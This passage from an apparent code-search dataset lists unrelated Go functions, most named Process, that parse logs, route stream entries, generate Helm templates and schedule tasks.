{\n\t\treturn err\n\t}\n\n\tuid := accessor.GetUID()\n\th.nodes[uid] = object\n\n\treturn nil\n}", "func (_this *RaftNode) Process(ctx context.Context, m raftpb.Message) error {\n\treturn _this.node.Step(ctx, m)\n}", "func (r *CSVParser) Process(ctx context.Context, entry *entry.Entry) error {\n\treturn r.ParserOperator.ProcessWith(ctx, entry, r.parse)\n}", "func (p Parser) Process(ctx context.Context, s string, data templates.ContainerData) (labels.Modifiers, error) {\n\t// make sure the input is valid before further processing\n\tif !validatorRegex.Match([]byte(s)) {\n\t\treturn nil, fmt.Errorf(invalidFormatErrorF, s)\n\t}\n\tlogrus.WithContext(ctx).Debugf(\"Processing %s\", s)\n\n\t// one template call at a time\n\tparts := strings.Split(s, \"|\")\n\tvar modifiers labels.Modifiers\n\tfor _, part := range parts {\n\t\tlogrus.WithContext(ctx).Debugf(\"Processing %s\", part)\n\t\t// Parse out arguments and template name\n\t\ttemplate, arguments, err := parse(part)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to parse \\\"%s\\\"\", part)\n\t\t}\n\n\t\t// Parse the template for modifiers\n\t\tmodifier, err := p.templateDirectory.GetModifiers(ctx, template, templates.Data{\n\t\t\tContainerData: data,\n\t\t\tArguments: arguments,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to parse template %s\", template)\n\t\t}\n\t\tmodifiers = append(modifiers, modifier)\n\t}\n\treturn modifiers, nil\n}", "func (s *Flattener) HandleProcess(hdr *sfgo.SFHeader, cont *sfgo.Container, proc *sfgo.Process) error {\n\treturn nil\n}", "func processLine(line string, re *regexp.Regexp, process *process, stateName string,\n\tmachineState *statemachine.MachineState, processCommand statemachine.ProcessCommand) {\n\n\tsubmatch := re.FindStringSubmatch(line)\n\tnames := re.SubexpNames()\n\n\t// len of submatch and names should be same\n\tif len(submatch) == len(names) {\n\t\t// transform result to map\n\t\tresult := map[string]interface{}{}\n\t\tfor index, name := range names {\n\t\t\tif existing, ok := result[name]; ok {\n\t\t\t\t// is result[name] already a slice?\n\t\t\t\tif _, ok := result[name].([]string); ok {\n\t\t\t\t\tresult[name] = append(result[name].([]string), submatch[index])\n\t\t\t\t} else {\n\t\t\t\t\tresult[name] = []string{fmt.Sprintf(\"%v\", existing), submatch[index]}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tresult[name] = submatch[index]\n\t\t\t}\n\t\t}\n\n\t\t// add all founded fields to record\n\t\tfor index, val := range process.ast.Vals {\n\t\t\tif field, ok := result[val.Variable]; ok {\n\t\t\t\tif val.List && reflect.TypeOf(field).Kind() != reflect.Slice {\n\t\t\t\t\tfield = []string{fmt.Sprintf(\"%v\", field)}\n\t\t\t\t}\n\t\t\t\tmachineState.SetRowField(index, field)\n\t\t\t}\n\t\t}\n\t}\n\n\tif processCommand.Command.Clearall {\n\t\tfor index := range process.ast.Vals {\n\t\t\tmachineState.SetRowField(index, \"\")\n\t\t}\n\t}\n\n\tif processCommand.Command.Clear {\n\t\tfor index, val := range process.ast.Vals {\n\t\t\tif !val.Filldown {\n\t\t\t\tmachineState.SetRowField(index, \"\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// if processCommand has Record, add tempRecord to Record\n\tif processCommand.Command.Record {\n\t\tConfirmTmpRecord(process, machineState)\n\t}\n\n}", "func (f *FakeOutput) Process(_ context.Context, entry *entry.Entry) error {\n\tf.Received <- entry\n\treturn nil\n}", "func (d dft) Process(appMeta helmify.AppMetadata, obj *unstructured.Unstructured) (bool, helmify.Template, error) {\n\tif obj.GroupVersionKind() == nsGVK {\n\t\t// Skip namespaces from processing because namespace will be handled by Helm.\n\t\treturn true, nil, nil\n\t}\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"ApiVersion\": obj.GetAPIVersion(),\n\t\t\"Kind\": obj.GetKind(),\n\t\t\"Name\": obj.GetName(),\n\t}).Warn(\"Unsupported resource: using default processor.\")\n\tname := appMeta.TrimName(obj.GetName())\n\n\tmeta, err := ProcessObjMeta(appMeta, obj)\n\tif err != nil {\n\t\treturn true, nil, err\n\t}\n\tdelete(obj.Object, \"apiVersion\")\n\tdelete(obj.Object, \"kind\")\n\tdelete(obj.Object, \"metadata\")\n\n\tbody, err := yamlformat.Marshal(obj.Object, 0)\n\tif err != nil {\n\t\treturn true, nil, err\n\t}\n\treturn true, &defaultResult{\n\t\tdata: []byte(meta + \"\\n\" + body),\n\t\tname: name,\n\t}, nil\n}", "func (b *Base) Process() error {\n\tif b.Exchange == \"\" {\n\t\treturn errExchangeNameUnset\n\t}\n\n\tif b.Pair.IsEmpty() {\n\t\treturn errPairNotSet\n\t}\n\n\tif b.Asset.String() == \"\" {\n\t\treturn errAssetTypeNotSet\n\t}\n\n\tif b.LastUpdated.IsZero() {\n\t\tb.LastUpdated = time.Now()\n\t}\n\n\tif err := b.Verify(); err != nil {\n\t\treturn err\n\t}\n\treturn service.Update(b)\n}", "func Process(spec interface{}) error {\n\tvar el multierror.Errors\n\tres := map[string]interface{}{}\n\tfor _, fname := range conf.Settings.FileLocations {\n\t\tcontents, err := ioutil.ReadFile(fname)\n\t\tif err != nil {\n\t\t\tel = append(el, err)\n\t\t\tcontinue\n\t\t}\n\t\tjson.Unmarshal(contents, &res)\n\t}\n\n\tif err := merger.MapAndStruct(res, spec); err != nil {\n\t\tel = append(el, err)\n\t}\n\n\treturn el.Err()\n}", "func (m *Module) Process(file pgs.File) {\n\t// check file option: FileSkip\n\tfileSkip := false\n\tm.must(file.Extension(redact.E_FileSkip, &fileSkip))\n\tif fileSkip {\n\t\treturn\n\t}\n\n\t// imports and their aliases\n\tpath2Alias, alias2Path := m.importPaths(file)\n\tnameWithAlias := func(n pgs.Entity) string {\n\t\timp := m.ctx.ImportPath(n).String()\n\t\tname := m.ctx.Name(n).String()\n\t\tif alias := path2Alias[imp]; alias != \"\" {\n\t\t\tname = alias + \".\" + name\n\t\t}\n\t\treturn name\n\t}\n\n\tdata := &ProtoFileData{\n\t\tSource: file.Name().String(),\n\t\tPackage: m.ctx.PackageName(file).String(),\n\t\tImports: alias2Path,\n\t\tReferences: m.references(file, nameWithAlias),\n\t\tServices: make([]*ServiceData, 0, len(file.Services())),\n\t\tMessages: make([]*MessageData, 0, len(file.AllMessages())),\n\t}\n\n\t// all services\n\tfor _, srv := range file.Services() {\n\t\tdata.Services = append(data.Services, m.processService(srv, nameWithAlias))\n\t}\n\n\t// all messages\n\tfor _, msg := range file.AllMessages() {\n\t\tdata.Messages = append(data.Messages, m.processMessage(msg, nameWithAlias, true))\n\t}\n\n\t// render file in the template\n\tname := m.ctx.OutputPath(file).SetExt(\".redact.go\")\n\tm.AddGeneratorTemplateFile(name.String(), m.tmpl, data)\n}", "func (s *Processor) ProcessEntry(entry interfaces.IEBEntry, dblock interfaces.IDirectoryBlock) error {\n\tif len(entry.ExternalIDs()) == 0 {\n\t\treturn nil\n\t}\n\tswitch string(entry.ExternalIDs()[0]) {\n\tcase \"TwitterBank Chain\":\n\t\t// TODO: Remove this hack\n\t\tif len(entry.ExternalIDs()) == 3 {\n\t\t\treturn s.ProcessTwitterChain(entry, dblock)\n\t\t}\n\t\treturn s.ProcessTwitterEntry(entry, dblock)\n\tcase \"TwitterBank Record\":\n\t\treturn s.ProcessTwitterChain(entry, dblock)\n\t}\n\n\treturn nil\n}", "func (args *Arguments) Process() {\n\targs.define()\n\targs.process()\n}", "func (f LineProcessorFunc) Process(line []byte, metadata LineMetadata) (out []byte, err error) {\n\treturn f(line, metadata)\n}", "func processFile(file *File) {\n\tapplyTransformers(file)\n\tanalyzeFile(file)\n}", "func process() error {\n\tif err := processItems(); err != nil {\n\t\treturn err\n\t}\n\n\tif err := addConfigs(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (t *TransformerOperator) ProcessWith(ctx context.Context, entry *entry.Entry, transform TransformFunction) error {\n\t// Short circuit if the \"if\" condition does not match\n\tskip, err := t.Skip(ctx, entry)\n\tif err != nil {\n\t\treturn t.HandleEntryError(ctx, entry, err)\n\t}\n\tif skip {\n\t\tt.Write(ctx, entry)\n\t\treturn nil\n\t}\n\n\tif err := transform(entry); err != nil {\n\t\treturn t.HandleEntryError(ctx, entry, err)\n\t}\n\tt.Write(ctx, entry)\n\treturn nil\n}", "func process(input, stage t) t {\n\treturn (t)(fmt.Sprintf(\"%s|%s\", input, stage))\n}", "func (p *intermediateTask) Process(ctx context.Context, req *pb.TaskRequest) error {\n\tphysicalPlan := models.PhysicalPlan{}\n\tif err := encoding.JSONUnmarshal(req.PhysicalPlan, &physicalPlan); err != nil {\n\t\treturn errUnmarshalPlan\n\t}\n\tpayload := req.Payload\n\tquery := &stmt.Query{}\n\tif err := encoding.JSONUnmarshal(payload, query); err != nil {\n\t\treturn errUnmarshalQuery\n\t}\n\tgroupAgg := aggregation.NewGroupingAggregator(\n\t\tquery.Interval,\n\t\tquery.TimeRange,\n\t\tbuildAggregatorSpecs(query.FieldNames))\n\ttaskSubmitted := false\n\tfor _, intermediate := range physicalPlan.Intermediates {\n\t\tif intermediate.Indicator == p.curNodeID {\n\t\t\ttaskID := p.taskManager.AllocTaskID()\n\t\t\t//TODO set task id\n\t\t\ttaskCtx := newTaskContext(taskID, IntermediateTask, req.ParentTaskID, intermediate.Parent,\n\t\t\t\tintermediate.NumOfTask, newResultMerger(ctx, groupAgg, nil))\n\t\t\tp.taskManager.Submit(taskCtx)\n\t\t\ttaskSubmitted = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !taskSubmitted {\n\t\treturn errWrongRequest\n\t}\n\n\tif err := p.sendLeafTasks(physicalPlan, req); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (f *Flattener) ProcessMapEntry(entry interface{}) bool {\n\n\tnewValue, err := f.flatten(entry.(*mapEntry))\n\tif err != nil {\n\t\tif logh.ErrorEnabled {\n\t\t\tf.loggers.Error().Msg(err.Error())\n\t\t}\n\n\t\treturn false\n\t}\n\n\titem, err := f.transport.FlattenerPointToDataChannelItem(newValue)\n\tif err != nil {\n\t\tif logh.ErrorEnabled {\n\t\t\tf.loggers.Error().Msg(err.Error())\n\t\t}\n\n\t\treturn false\n\t}\n\n\tf.transport.DataChannel() <- item\n\n\treturn true\n}", "func (s *Stream) Process(name string, p Processor) *Stream {\n\tn := s.tp.AddProcessor(name, p, s.parents)\n\n\treturn newStream(s.tp, []Node{n})\n}", "func (ep *groupbyExecutionPlan) Process(input *core.Tuple) ([]data.Map, error) {\n\treturn ep.process(input, ep.performQueryOnBuffer)\n}", "func (r *RollupRouter) Process(logmsg map[string]interface{}) {\n\tif r.ctxDone {\n\t\treturn\n\t}\n\n\tstatusCode, ok := logmsg[\"status-code\"].(int)\n\tif !ok {\n\t\treturn\n\t}\n\top, ok := logmsg[\"op\"].(string)\n\tif !ok {\n\t\treturn\n\t}\n\thttpMethod, ok := logmsg[\"method\"].(string)\n\tif !ok {\n\t\treturn\n\t}\n\tcanary, ok := logmsg[\"canary\"].(bool)\n\tif !ok {\n\t\treturn\n\t}\n\tr.findOrCreate(statusCode, op, httpMethod, canary).add(logmsg)\n}", "func (_ ClicheProcessor) Process(c *Chunk) *Chunk {\n\tmsg := \"This is a cliche.\"\n\treturn doTextProcessor(proc.ClicheProcessor(), \"cliche\", c, msg)\n}", "func (m *Processor) Process(string) (func(phono.Buffer) (phono.Buffer, error), error) {\n\treturn func(b phono.Buffer) (phono.Buffer, error) {\n\t\tm.Advance(b)\n\t\treturn b, nil\n\t}, nil\n}", "func Process(v, pattern, prerelease, metadata, prefix string, ignore bool) (string, error) {\n\tlastTag := getLatestGitTag(getCommitSHA())\n\tif ignore && v == \"\" {\n\t\treturn \"\", fmt.Errorf(\"ignore previous is true but no base version provided, please check input\")\n\t} else if !ignore {\n\t\tv = lastTag\n\t}\n\n\tif prerelease == \"\" {\n\t\tprerelease = timeSinceLastTag(lastTag)\n\t}\n\n\tsemVer, err := semver.NewVersion(v)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"version parse failed, [%v]. %s is not a valid SemVer tag\", err, v)\n\t}\n\n\toutVersion := incVersion(*semVer, pattern)\n\n\tt, err := outVersion.SetPrerelease(prerelease)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error appending pre-release data: %v\", err)\n\t}\n\toutVersion = t\n\n\tif metadata != \"\" {\n\t\tt, err := outVersion.SetMetadata(metadata)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"error appending metadata: %v\", err)\n\t\t}\n\t\toutVersion = t\n\t}\n\n\toutString := outVersion.String()\n\n\tif prefix != \"\" {\n\t\toutString = fmt.Sprintf(\"%s%s\", prefix, outString)\n\t}\n\n\treturn outString, nil\n}", "func (n *ParDo) ProcessElement(_ context.Context, elm *FullValue, values ...ReStream) error {\n\tif n.status != Active {\n\t\treturn errors.Errorf(\"invalid status for pardo %v: %v, want Active\", n.UID, n.status)\n\t}\n\n\tn.states.Set(n.ctx, metrics.ProcessBundle)\n\n\treturn n.processMainInput(&MainInput{Key: *elm, Values: values})\n}", "func postProcess(ctx context.Context, handle dispatcher.TaskHandle, gTask *proto.Task, logger *zap.Logger) error {\n\ttaskMeta := &TaskMeta{}\n\terr := json.Unmarshal(gTask.Meta, taskMeta)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttableImporter, err := buildTableImporter(ctx, taskMeta)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\terr2 := tableImporter.Close()\n\t\tif err == nil {\n\t\t\terr = err2\n\t\t}\n\t}()\n\n\tmetas, err := handle.GetPreviousSubtaskMetas(gTask.ID, gTask.Step)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsubtaskMetas := make([]*SubtaskMeta, 0, len(metas))\n\tfor _, bs := range metas {\n\t\tvar subtaskMeta SubtaskMeta\n\t\tif err := json.Unmarshal(bs, &subtaskMeta); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tsubtaskMetas = append(subtaskMetas, &subtaskMeta)\n\t}\n\n\tlogger.Info(\"post process\", zap.Any(\"task_meta\", taskMeta), zap.Any(\"subtask_metas\", subtaskMetas))\n\tif err := verifyChecksum(ctx, tableImporter, subtaskMetas, logger); err != nil {\n\t\treturn err\n\t}\n\n\tupdateResult(taskMeta, subtaskMetas, logger)\n\treturn updateMeta(gTask, taskMeta)\n}", "func (f *Ifacer) Process() error {\n\tcontent, err := f.tpl.Execute(\"ifacer\", ifacerTemplate, f)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsrc, err := imports.Process(\"\", []byte(content), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tf.Content = string(src)\n\n\treturn nil\n}", "func processCompileUnit(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\n\n\n\n\t// Process the entry\n\tgCurrentFile = theEntry.Val(dwarf.AttrName).(string);\n\n\tif (theEntry.Children) {\n\t\tprocessChildren(theReader, depth+1, false);\n\t}\n\n\tgCurrentFile = \"\";\n\n}", "func Process(cmdLine CommandLine) error {\n\tfile, err := os.Open(cmdLine.FilePath)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to open file\")\n\t}\n\n\tvar parser cartparsers.CartParser\n\tif cmdLine.IsCarters {\n\t\tparser = cartparsers.NewCartersParser(cmdLine.Username, cmdLine.Password)\n\t}\n\tif parser == nil {\n\t\treturn errors.New(\"failed get parser\")\n\t}\n\n\tresult, err := parser.Parse(file)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to parse cart\")\n\t}\n\n\treturn SaveTemplate(cmdLine.TemplatePath, result)\n}", "func (p *Plugin) Process(rawSpec map[string]interface{}, context *smith_plugin.Context) smith_plugin.ProcessResult {\n\tspec := Spec{}\n\terr := runtime.DefaultUnstructuredConverter.FromUnstructured(rawSpec, &spec)\n\tif err != nil {\n\t\treturn &smith_plugin.ProcessResultFailure{\n\t\t\tError: errors.Wrap(err, \"failed to unmarshal json spec\"),\n\t\t}\n\t}\n\n\t// Do the processing\n\troleInstance, err := generateRoleInstance(&spec)\n\tif err != nil {\n\t\treturn &smith_plugin.ProcessResultFailure{\n\t\t\tError: err,\n\t\t}\n\t}\n\treturn &smith_plugin.ProcessResultSuccess{\n\t\tObject: roleInstance,\n\t}\n}", "func (c *Collection) Process(outdir string) error {\n\tfor _, a := range c.assets {\n\t\tif err := c.ProcessAsset(a, c.filters, outdir); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (processor *Processor) Process(event *stream.Event) error {\n\tnewBattleComments := make(map[string][]*comments.Comment)\n\tfor _, record := range event.Records {\n\t\tprocessor.captureChanges(&record, newBattleComments)\n\t}\n\tfor battleID, newComments := range newBattleComments {\n\t\tprocessor.processNewComments(battleID, newComments)\n\t}\n\treturn nil\n}", "func lineProcess(line string) {\n\t// pre process\n\n\tlog, err := UnmarshalLog(line)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// post process\n\n\t// Update Global Data \n\tgMu.Lock()\n\tallMap[log.HDid] ++\n\tif log.HAv != \"\" {\n\t\terrMap[log.HDid] ++\n\t}\n\tgMu.Unlock()\n\n}", "func (tpl *Engine) Process(m map[string]string) (result string, err error) {\n\tw := tpl.byteBufferPool.Get()\n\tn := len(tpl.texts) - 1\n\tif n == -1 {\n\t\tif _, err = w.Write([]byte(tpl.data)); err != nil {\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tfor i := 0; i < n; i++ {\n\t\t\tif _, err = w.Write(tpl.texts[i]); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tv := m[tpl.tags[i]]\n\t\t\tif _, err = w.Write([]byte(v)); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tif _, err = w.Write(tpl.texts[n]); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\ts := string(w.Bytes())\n\tw.Reset()\n\ttpl.byteBufferPool.Put(w)\n\treturn s, err\n}", "func (machine *Machine) Process(e *expect.GExpect, root *Root, server *Server) error {\n\tif machine.Ignore {\n\t\treturn nil\n\t}\n\tif err := machine.Create(e, root, server); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func Process(rule CSSRule, ts ...Transformer) CSSRule {\n\tts = append(ts, Flattern)\n\tfor _, v := range ts {\n\t\trule = v(rule)\n\t}\n\treturn rule\n}", "func (h *hasher) ProcessRecord(r *store.Record) error {\n\tif r.File() == nil {\n\t\th.log.Printf(\"Module '%s': no record's file available for %s\", moduleName, r.Key())\n\t\treturn nil\n\t}\n\n\th.hash.Reset()\n\tif _, err := io.Copy(h.hash, r.File()); err != nil {\n\t\treturn fmt.Errorf(\"module '%s': fail to compute checksum for '%s': %v\", moduleName, r.Key(), err)\n\t}\n\tchecksum := hex.EncodeToString(h.hash.Sum(nil))\n\tr.Set(HashField, checksum)\n\th.log.Printf(\"Module '%s': record hash is: %v\", moduleName, checksum)\n\n\tmatches, err := h.store.SearchFields(-1, HashField, checksum)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"module '%s': fail to look for duplicate: %v\", moduleName, err)\n\t}\n\tif len(matches) > 0 {\n\t\treturn fmt.Errorf(\"module '%s': possible duplicate(s) of record (%v) found in the database\", moduleName, matches)\n\t}\n\n\treturn nil\n}", "func (p *Orderer) Process(e dag.Event) (err error) {\n\terr, selfParentFrame := p.checkAndSaveEvent(e)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = p.handleElection(selfParentFrame, e)\n\tif err != nil {\n\t\t// election doesn't fail under normal circumstances\n\t\t// storage is in an inconsistent state\n\t\tp.crit(err)\n\t}\n\treturn err\n}", "func (i *Item) Process(cmd *command.Command) (handled bool) {\n\n\t// This specific item?\n\tif !i.IsAlias(cmd.Target) {\n\t\treturn\n\t}\n\n\tswitch cmd.Verb {\n\tcase \"DROP\":\n\t\thandled = i.drop(cmd)\n\tcase \"WEIGH\":\n\t\thandled = i.weigh(cmd)\n\tcase \"EXAMINE\", \"EXAM\":\n\t\thandled = i.examine(cmd)\n\tcase \"GET\":\n\t\thandled = i.get(cmd)\n\tcase \"JUNK\":\n\t\thandled = i.junk(cmd)\n\t}\n\n\treturn\n}", "func (mf *Flags) Process() {\n\tflag.StringVar(&mf.ConfigPath, \"file\", defaultConfigPath, \" full path to the configuration file\")\n\tflag.BoolVar(&mf.Verify, \"verify\", false, \"only verify the configuration, don't run\")\n\tflag.Parse()\n}", "func (fn *RuntimeMonitor) ProcessElement(key, value []byte, emit func([]byte, []byte)) {\n\temit(key, value)\n}", "func (c *Collection) Process() error {\n\tfor _, a := range c.assets {\n\t\tif err := c.ProcessAsset(a, c.filters); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func Process(event *events.SQSEvent) error {\n\n\tp := newProcessor(*newForwarder(), *newDBClient())\n\n\tfor _, message := range event.Records {\n\t\tfmt.Printf(\"Processing message %s | %s\\n\", message.MessageId, message.Body)\n\n\t\terr := p.subProcess(&message)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not call subprocessor: %v\", err)\n\t\t}\n\t}\n\treturn nil\n}", "func (c Collation) Process(p RuleProcessor) (err error) {\n\tif len(c.Cr) > 0 {\n\t\tif len(c.Cr) > 1 {\n\t\t\treturn fmt.Errorf(\"multiple cr elements, want 0 or 1\")\n\t\t}\n\t\treturn processRules(p, c.Cr[0].Data())\n\t}\n\tif c.Rules.Any != nil {\n\t\treturn c.processXML(p)\n\t}\n\treturn errors.New(\"no tailoring data\")\n}", "func (s *BaseSyslParserListener) EnterTransform(ctx *TransformContext) {}", "func (s *Stream) Process(f interface{}) *Stream {\n\top, err := unary.ProcessFunc(f)\n\tif err != nil {\n\t\ts.drainErr(err)\n\t\treturn s\n\t}\n\treturn s.Transform(op)\n}", "func (r *Router) process(path string, query url.Values) {\n\tr.process2(path, query, nil)\n}", "func (ts *TraceServiceExtractor) Process(t model.WeightedTrace) {\n\tmeta := make(model.ServicesMetadata)\n\n\tfor _, s := range t {\n\t\tif !s.TopLevel {\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := meta[s.Service]; ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tif v := s.Type; len(v) > 0 {\n\t\t\tmeta[s.Service] = map[string]string{model.AppType: v}\n\t\t}\n\t}\n\n\tif len(meta) > 0 {\n\t\tts.outServices <- meta\n\t}\n}", "func (s *Service) Process(ctx context.Context, request []byte) ([]byte, error) {\n\tserviceContext := GetServiceContext(ctx)\n\tname, args, err := s.Codec.Decode(request, serviceContext)\n\tif err != nil {\n\t\treturn s.Codec.Encode(err, serviceContext)\n\t}\n\tvar result interface{}\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif p := recover(); p != nil {\n\t\t\t\tresult = NewPanicError(p)\n\t\t\t}\n\t\t}()\n\t\tresults, err := s.invokeManager.Handler().(NextInvokeHandler)(ctx, name, args)\n\t\tif err != nil {\n\t\t\tresult = err\n\t\t\treturn\n\t\t}\n\t\tswitch len(results) {\n\t\tcase 0:\n\t\t\tresult = nil\n\t\tcase 1:\n\t\t\tresult = results[0]\n\t\tdefault:\n\t\t\tresult = results\n\t\t}\n\t}()\n\treturn s.Codec.Encode(result, serviceContext)\n}", "func (tx *Tx) Process(process Processor) {\n\tfor i := 0; i < len(tx.leases); i++ {\n\t\titer := Iter{Lease: Clone(tx.leases[i])}\n\t\tprocess(&iter)\n\t\ti += tx.apply(iter.action, iter.Lease, i, 1)\n\t}\n\tsort.Sort(tx.leases)\n}", "func (a *writeAuthorizer) Process(r *http.Request, wr *prompb.WriteRequest) error {\n\tvar (\n\t\ttenantFromHeader = getTenant(r)\n\t\tnum = len(wr.Timeseries)\n\t)\n\tif num == 0 {\n\t\treturn nil\n\t}\n\tfor i := 0; i < num; i++ {\n\t\tmodifiedLbls, err := a.verifyAndApplyTenantLabel(tenantFromHeader, wr.Timeseries[i].Labels)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"write-authorizer process: %w\", err)\n\t\t}\n\t\twr.Timeseries[i].Labels = modifiedLbls\n\t}\n\treturn nil\n}", "func (p *addProcessMetadata) Run(event *beat.Event) (*beat.Event, error) {\n\tfor _, pidField := range p.config.MatchPIDs {\n\t\tresult, err := p.enrich(event.Fields, pidField)\n\t\tif err != nil {\n\t\t\tswitch err {\n\t\t\tcase common.ErrKeyNotFound:\n\t\t\t\tcontinue\n\t\t\tcase ErrNoProcess:\n\t\t\t\treturn event, err\n\t\t\tdefault:\n\t\t\t\treturn event, errors.Wrapf(err, \"error applying %s processor\", processorName)\n\t\t\t}\n\t\t}\n\t\tif result != nil {\n\t\t\tevent.Fields = result\n\t\t}\n\t\treturn event, nil\n\t}\n\tif p.config.IgnoreMissing {\n\t\treturn event, nil\n\t}\n\treturn event, ErrNoMatch\n}", "func (f *IPLineFilter) Process(line []byte, _ *LabelsBuilder) ([]byte, bool) {\n\treturn line, f.filterTy(line, f.ty)\n}", "func processFile(path string) error {\n\tid, err := getEntryID(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tentry, err := loadEntry(id)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := tagFile(path, entry); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (mov *Moves) Process() {\n\tmov.Upsert(mov.Select(movRelCollide.All()), nil)\n\t// TODO 2-phase application so that mid-line and glancing collisions are possible\n\tmov.Upsert(mov.Select((movRelPending | movDir | movMag).All()), mov.processPendingMove)\n}", "func (s *Scheduler) Process(ip Meta) (data []Meta) {\n\tk := s.getKey(ip)\n\tif _, exists := s.hash[k]; !exists {\n\t\ts.hash[k] = newVal(s.batchSize)\n\t}\n\ts.hash[k].add(ip)\n\tdata = s.batchProcess(k)\n\treturn\n}", "func (req *Request) Process() error {\n\ts, err := req.TextProto.ReadLine()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Line = strings.Split(s, \" \")\n\tif len(req.Line) <= 0 {\n\t\treturn req.TextProto.PrintfLine(\"%d %s (%s)\", 500, \"Command not recognized\", s)\n\t}\n\n\tif req.Server.Processors == nil {\n\t\treq.Server.Processors = DefaultProcessors\n\t}\n\n\treq.Line[0] = strings.ToUpper(req.Line[0])\n\n\tprocessor, found := req.Server.Processors[req.Line[0]]\n\tif !found {\n\t\treturn req.TextProto.PrintfLine(\"%d %s (%s)\", 500, \"Command not recognized\", req.Line[0])\n\t}\n\n\treturn processor(req)\n}", "func (p *Publisher) Process(msg message.Message) ([]bytes.Buffer, error) {\n\tp.publisher.Publish(msg.Category(), msg)\n\treturn nil, nil\n}", "func (p *leafTaskProcessor) Process(\n\tctx context.Context,\n\tstream protoCommonV1.TaskService_HandleServer,\n\treq *protoCommonV1.TaskRequest,\n) {\n\terr := p.process(ctx, req)\n\tif err == nil {\n\t\treturn\n\t}\n\tif sendError := stream.Send(&protoCommonV1.TaskResponse{\n\t\tTaskID: req.ParentTaskID,\n\t\tType: protoCommonV1.TaskType_Leaf,\n\t\tCompleted: true,\n\t\tErrMsg: err.Error(),\n\t\tSendTime: timeutil.NowNano(),\n\t}); sendError != nil {\n\t\tp.logger.Error(\"failed to send error message to target stream\",\n\t\t\tlogger.String(\"taskID\", req.ParentTaskID),\n\t\t\tlogger.Error(err),\n\t\t)\n\t}\n}", "func (c crd) Process(appMeta helmify.AppMetadata, obj *unstructured.Unstructured) (bool, helmify.Template, error) {\n\tif obj.GroupVersionKind() != crdGVC {\n\t\treturn false, nil, nil\n\t}\n\tspecUnstr, ok, err := unstructured.NestedMap(obj.Object, \"spec\")\n\tif err != nil || !ok {\n\t\treturn true, nil, errors.Wrap(err, \"unable to create crd template\")\n\t}\n\tversions, _ := yaml.Marshal(specUnstr)\n\tversions = yamlformat.Indent(versions, 2)\n\tversions = bytes.TrimRight(versions, \"\\n \")\n\n\tres := fmt.Sprintf(crdTeml, obj.GetName(), appMeta.ChartName(), string(versions))\n\tname, _, err := unstructured.NestedString(obj.Object, \"spec\", \"names\", \"singular\")\n\tif err != nil || !ok {\n\t\treturn true, nil, errors.Wrap(err, \"unable to create crd template\")\n\t}\n\treturn true, &result{\n\t\tname: name + \"-crd.yaml\",\n\t\tdata: []byte(res),\n\t}, nil\n}", "func (s *Service) Process(ctx context.Context, payload hooks.PushPayload) {\n\tstart := time.Now()\n\t// this span is a child of the parent span in the http handler, but since this will finish after\n\t// the http handler returns, it follows from that span so it will display correctly.\n\tparentContext := opentracing.SpanFromContext(ctx).Context()\n\tspanOption := opentracing.FollowsFrom(parentContext)\n\tspan := opentracing.StartSpan(\"process_scala\", spanOption)\n\tdefer span.Finish()\n\n\t// creates a new copy of the context with the following span\n\tctx = opentracing.ContextWithSpan(ctx, span)\n\n\t// create a new directory to do all the work of this Process call which can be cleaned up at the end.\n\tid := uuid.NewV4().String()\n\tworkDir := fmt.Sprintf(\"/tmp/%s\", id)\n\terr := os.Mkdir(workDir, 0750)\n\tif err != nil {\n\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"mkdir\"}, 1)\n\t\terr = errors.WithStack(err)\n\t\ts.logger.Errorf(\"%+v\", err)\n\t\treturn\n\t}\n\n\t// create a struct for passing to other functions referencing the location of the work\n\t// this specific Process call is executing.\n\tprocProps := processorProps{\n\t\tID: id,\n\t\tWorkDir: workDir,\n\t}\n\n\t// defer cleanup of this Process execution\n\tdefer cleanup(ctx, s.fs, s.logger, procProps)\n\n\t// if we receive a signal that this goroutine should stop, do that\n\t// since cleanup is deferred it will still execute after the return statement\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn\n\t// otherwise, do our work\n\tdefault:\n\t\t// clone down the repository\n\t\tpath, err := s.cloneCode(ctx, payload, procProps)\n\t\tif err != nil 